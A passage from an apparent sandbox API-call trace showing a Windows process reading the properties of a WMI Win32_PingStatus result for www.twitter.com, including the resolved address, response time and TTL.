WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.294] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0160.294] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0160.294] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.294] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde87c | out: pNames=0x5bde87c*="\x01ƀ\x04") returned 0x0 [0160.294] SafeArrayGetDim (psa=0x5f6dde8) returned 0x1 [0160.294] SafeArrayGetDim (psa=0x5f6dde8) returned 0x1 [0160.295] SafeArrayGetLBound (in: psa=0x5f6dde8, nDim=0x1, plLbound=0x5bde714 | out: plLbound=0x5bde714) returned 0x0 [0160.295] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.295] SysStringByteLen (bstr="__GENUS") returned 0xe [0160.295] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.295] SysStringByteLen (bstr="__CLASS") returned 0xe [0160.295] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.295] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0160.295] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.295] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0160.295] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.295] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0160.295] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.295] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0160.295] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.295] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0160.295] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.295] SysStringByteLen (bstr="__SERVER") returned 0x10 [0160.295] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.295] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0160.295] SysStringByteLen (bstr="__PATH") returned 0xc [0160.296] SysStringByteLen (bstr="__PATH") returned 0xc [0160.296] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__GENUS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a07f8*=0, plFlavor=0x25a07fc*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25a07f8*=3, plFlavor=0x25a07fc*=64) returned 0x0 [0160.296] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__CLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0900*=0, plFlavor=0x25a0904*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25a0900*=8, plFlavor=0x25a0904*=64) returned 0x0 [0160.296] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.296] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.296] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0994*=0, plFlavor=0x25a0998*=0 | out: pVal=0x5bde878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0994*=8, plFlavor=0x25a0998*=64) returned 0x0 [0160.296] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DYNASTY", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0a58*=0, plFlavor=0x25a0a5c*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25a0a58*=8, plFlavor=0x25a0a5c*=64) returned 0x0 [0160.296] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.296] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0160.297] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__RELPATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0aec*=0, plFlavor=0x25a0af0*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25a0aec*=8, plFlavor=0x25a0af0*=64) returned 0x0 [0160.297] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.297] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0160.297] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0d30*=0, plFlavor=0x25a0d34*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25a0d30*=3, plFlavor=0x25a0d34*=64) returned 0x0 [0160.297] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__DERIVATION", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0e78*=0, plFlavor=0x25a0e7c*=0 | out: pVal=0x5bde878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc68*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f853d0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25a0e78*=8200, plFlavor=0x25a0e7c*=64) returned 0x0 [0160.297] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0ee8*=0, plFlavor=0x25a0eec*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25a0ee8*=8, plFlavor=0x25a0eec*=64) returned 0x0 [0160.297] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.297] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.298] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a0f70*=0, plFlavor=0x25a0f74*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25a0f70*=8, plFlavor=0x25a0f74*=64) returned 0x0 [0160.298] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.298] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.298] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__PATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1044*=0, plFlavor=0x25a1048*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25a1044*=8, plFlavor=0x25a1048*=64) returned 0x0 [0160.298] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.298] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0160.298] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0160.298] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0160.298] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.298] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0160.298] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0160.298] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.298] IWbemClassObject:GetNames (in: This=0x5f6b230, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x5bde8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde8b8 | out: pNames=0x5bde8b8*="\x01ƀ\x04") returned 0x0 [0160.298] SafeArrayGetDim (psa=0x5f6dde8) returned 0x1 [0160.298] SafeArrayGetDim (psa=0x5f6dde8) returned 0x1 [0160.299] SafeArrayGetLBound (in: psa=0x5f6dde8, nDim=0x1, plLbound=0x5bde750 | out: plLbound=0x5bde750) returned 0x0 [0160.299] SysStringByteLen (bstr="Address") returned 0xe [0160.299] SysStringByteLen (bstr="Address") returned 0xe [0160.299] SysStringByteLen (bstr="BufferSize") returned 0x14 [0160.299] SysStringByteLen (bstr="BufferSize") returned 0x14 [0160.299] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0160.299] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0160.299] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0160.299] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0160.299] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0160.299] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0160.299] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0160.299] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0160.299] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0160.299] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0160.299] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0160.299] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0160.299] SysStringByteLen (bstr="ReplySize") returned 0x12 [0160.299] SysStringByteLen (bstr="ReplySize") returned 0x12 [0160.299] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0160.299] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0160.300] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0160.300] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0160.300] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0160.300] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0160.300] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0160.300] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0160.300] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0160.300] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0160.300] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0160.300] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0160.300] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0160.300] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0160.300] SysStringByteLen (bstr="StatusCode") returned 0x14 [0160.300] SysStringByteLen (bstr="StatusCode") returned 0x14 [0160.300] SysStringByteLen (bstr="Timeout") returned 0xe [0160.300] SysStringByteLen (bstr="Timeout") returned 0xe [0160.300] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0160.300] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0160.300] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0160.300] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0160.300] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0160.300] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0160.300] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0160.301] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0160.301] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0160.301] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0160.301] SysStringByteLen (bstr="TypeofService") returned 0x1a [0160.301] SysStringByteLen (bstr="TypeofService") returned 0x1a [0160.301] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Address", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a17a0*=0, plFlavor=0x25a17a4*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25a17a0*=8, plFlavor=0x25a17a4*=0) returned 0x0 [0160.301] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.301] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0160.301] IWbemClassObject:Get (in: This=0x5f6b230, wszName="BufferSize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1830*=0, plFlavor=0x25a1834*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25a1830*=19, plFlavor=0x25a1834*=0) returned 0x0 [0160.301] IWbemClassObject:Get (in: This=0x5f6b230, wszName="NoFragmentation", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a18a0*=0, plFlavor=0x25a18a4*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a18a0*=11, plFlavor=0x25a18a4*=0) returned 0x0 [0160.302] IWbemClassObject:Get (in: This=0x5f6b230, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1ad8*=0, plFlavor=0x25a1adc*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1ad8*=19, plFlavor=0x25a1adc*=0) returned 0x0 [0160.302] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ProtocolAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1b48*=0, plFlavor=0x25a1b4c*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="104.244.42.129", varVal2=0x0), pType=0x25a1b48*=8, plFlavor=0x25a1b4c*=0) returned 0x0 [0160.302] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0160.302] SysStringByteLen (bstr="104.244.42.129") returned 0x1c [0160.302] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1bd8*=0, plFlavor=0x25a1bdc*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x25a1bd8*=8, plFlavor=0x25a1bdc*=32) returned 0x0 [0160.302] SysStringByteLen (bstr="") returned 0x0 [0160.302] SysStringByteLen (bstr="") returned 0x0 [0160.302] IWbemClassObject:Get (in: This=0x5f6b230, wszName="RecordRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1c3c*=0, plFlavor=0x25a1c40*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1c3c*=19, plFlavor=0x25a1c40*=0) returned 0x0 [0160.303] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ReplyInconsistency", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1d38*=0, plFlavor=0x25a1d3c*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1d38*=11, plFlavor=0x25a1d3c*=0) returned 0x0 [0160.303] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ReplySize", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1da8*=0, plFlavor=0x25a1dac*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x25a1da8*=19, plFlavor=0x25a1dac*=0) returned 0x0 [0160.303] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ResolveAddressNames", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1e18*=0, plFlavor=0x25a1e1c*=0 | out: pVal=0x5bde8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1e18*=11, plFlavor=0x25a1e1c*=0) returned 0x0 [0160.304] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ResponseTime", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1e88*=0, plFlavor=0x25a1e8c*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), pType=0x25a1e88*=19, plFlavor=0x25a1e8c*=0) returned 0x0 [0160.304] IWbemClassObject:Get (in: This=0x5f6b230, wszName="ResponseTimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1ef8*=0, plFlavor=0x25a1efc*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x39, varVal2=0x0), pType=0x25a1ef8*=19, plFlavor=0x25a1efc*=0) returned 0x0 [0160.304] IWbemClassObject:Get (in: This=0x5f6b230, wszName="RouteRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1f68*=0, plFlavor=0x25a1f6c*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1f68*=8200, plFlavor=0x25a1f6c*=32) returned 0x0 [0160.304] IWbemClassObject:Get (in: This=0x5f6b230, wszName="RouteRecordResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1fcc*=0, plFlavor=0x25a1fd0*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a1fcc*=8200, plFlavor=0x25a1fd0*=32) returned 0x0 [0160.305] IWbemClassObject:Get (in: This=0x5f6b230, wszName="SourceRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a203c*=0, plFlavor=0x25a2040*=0 | out: pVal=0x5bde8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x25a203c*=8, plFlavor=0x25a2040*=0) returned 0x0 [0160.305] SysStringByteLen (bstr="") returned 0x0 [0160.305] SysStringByteLen (bstr="") returned 0x0 [0160.306] IWbemClassObject:Get (in: This=0x5f6b230, wszName="SourceRouteType", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a20a0*=0, plFlavor=0x25a20a4*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a20a0*=19, plFlavor=0x25a20a4*=0) returned 0x0 [0160.306] IWbemClassObject:Get (in: This=0x5f6b230, wszName="StatusCode", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2110*=0, plFlavor=0x25a2114*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2110*=19, plFlavor=0x25a2114*=0) returned 0x0 [0160.306] IWbemClassObject:Get (in: This=0x5f6b230, wszName="Timeout", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a25b8*=0, plFlavor=0x25a25bc*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x25a25b8*=19, plFlavor=0x25a25bc*=0) returned 0x0 [0160.306] IWbemClassObject:Get (in: This=0x5f6b230, wszName="TimeStampRecord", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2628*=0, plFlavor=0x25a262c*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2628*=8211, plFlavor=0x25a262c*=32) returned 0x0 [0160.307] IWbemClassObject:Get (in: This=0x5f6b230, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a268c*=0, plFlavor=0x25a2690*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a268c*=8200, plFlavor=0x25a2690*=32) returned 0x0 [0160.307] IWbemClassObject:Get (in: This=0x5f6b230, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a26f0*=0, plFlavor=0x25a26f4*=0 | out: pVal=0x5bde8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a26f0*=8200, plFlavor=0x25a26f4*=32) returned 0x0 [0160.307] IWbemClassObject:Get (in: This=0x5f6b230, wszName="TimestampRoute", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2754*=0, plFlavor=0x25a2758*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2754*=19, plFlavor=0x25a2758*=0) returned 0x0 [0160.307] IWbemClassObject:Get (in: This=0x5f6b230, wszName="TimeToLive", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a27c4*=0, plFlavor=0x25a27c8*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x25a27c4*=19, plFlavor=0x25a27c8*=0) returned 0x0 [0160.308] IWbemClassObject:Get (in: This=0x5f6b230, wszName="TypeofService", lFlags=0, pVal=0x5bde8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2940*=0, plFlavor=0x25a2944*=0 | out: pVal=0x5bde8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25a2940*=19, plFlavor=0x25a2944*=0) returned 0x0 [0160.308] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__SERVER", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=0, plFlavor=0x5bde8c8*=0 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0160.308] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.308] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.308] IWbemClassObject:Get (in: This=0x5f6b230, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde848*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64 | out: pVal=0x5bde848*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x5bde8cc*=8, plFlavor=0x5bde8c8*=64) returned 0x0 [0160.308] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0160.308] SysStringByteLen 